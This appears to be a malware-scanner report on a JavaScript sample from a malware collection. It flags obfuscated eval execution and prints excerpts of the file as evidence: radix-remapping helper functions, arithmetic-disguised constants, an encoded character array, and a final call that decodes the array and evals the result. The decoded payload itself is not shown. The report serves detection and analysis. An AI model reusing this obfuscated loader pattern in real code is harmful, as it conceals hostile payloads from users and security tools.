Suspicious ^80% javascript-malware-collection Download

20151211_c03d3eac6a2c48160c3c1cb867077cec.js

Obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256e68cf728f9f876530847fa16ba3c49852f671a2ae210db149ee2bd53cad2d637

Evidence

parseInt toString radix remap lines 1–6

1:460… ','w','x','y','z','{','|','}','~','']
2function DfWyw(yAvUHZjegwO,HsLBbrjXgqwKV,PGuMTeIG){dxRY=parseInt(yAvUHZjegwO,HsLBbrjXgqwKV);toXds=dxRY.toString(PGuMTeIG);return toXds;}function QajnPhIUjPRoqgf(OlTYDIcMWFZYGNKMu){eval(OlTYDIcMWFZYGNKMu)}
3function sqVSFHESabdAqFXUgkkTOrpMNuljpWvZIKzzIZShiANNWwiFbfUioQ(SaZPwGKucCqfb,WjhaRRydyRNZFC){ return wCpih[DfWyw(SaZPwGKucCqfb[WjhaRRydyRNZFC],(934+620)/74,(554+456)/101)];}
4function XkzItFP(sxWFgqDuZiYazMVylzJdfasemBHEBhwukFCC) {return !isNaN(parseFloat(sxWFgqDuZiYazMVylzJdfasemBHEBhwukFCC)) && isFinite(sxWFgqDuZiYazMVylzJdfasemBHEBhwukFCC);}
5function yXqcoekndjI(CEcvfcYB,jqzDVp){return CEcvfcYB.split(jqzDVp)}
6var N=new Array("d","a","d","a","5d","4d","59","1b","38","1b","2j","1b","1d","5a","56","4i","5b","28","5e","4h","4e", …

Obfuscated increment/decrement via arithmetic lines 8–11

8:4…  EHTQQ=[N,M];
9var awsYfsszn=[];
10function bejXORgFoBxTWQqvI(EHTQQ){lBFQFaQcGaX= '';VsdUytsZqLw=(-995+995)/746; while(true){if(VsdUytsZqLw >= (248+550)/399)break;awsYfsszn[VsdUytsZqLw]=(-283+283)/90; while(true) { if(awsYfsszn[VsdUytsZqLw] > EHTQQ[VsdUytsZqLw].length-(-459+957)/498) { break; } if (XkzItFP(DfWyw(EHTQQ[VsdUytsZqLw][awsYfsszn[VsdUytsZqLw]],(19882+236)/958,(-649+709)/6))) {lBFQFaQcGaX += sqVSFHESabdAqFXUgkkTOrpMNuljpWvZIKzzIZShiANNWwiFbfUioQ([EHTQQ[VsdUytsZqLw][awsYfsszn[VsdUytsZqLw]]], (-463+463)/205);} awsYfsszn[VsdUytsZqLw]++;}VsdUytsZqLw++;} return lBFQFaQcGaX}
11QajnPhIUjPRoqgf(bejXORgFoBxTWQqvI(EHTQQ));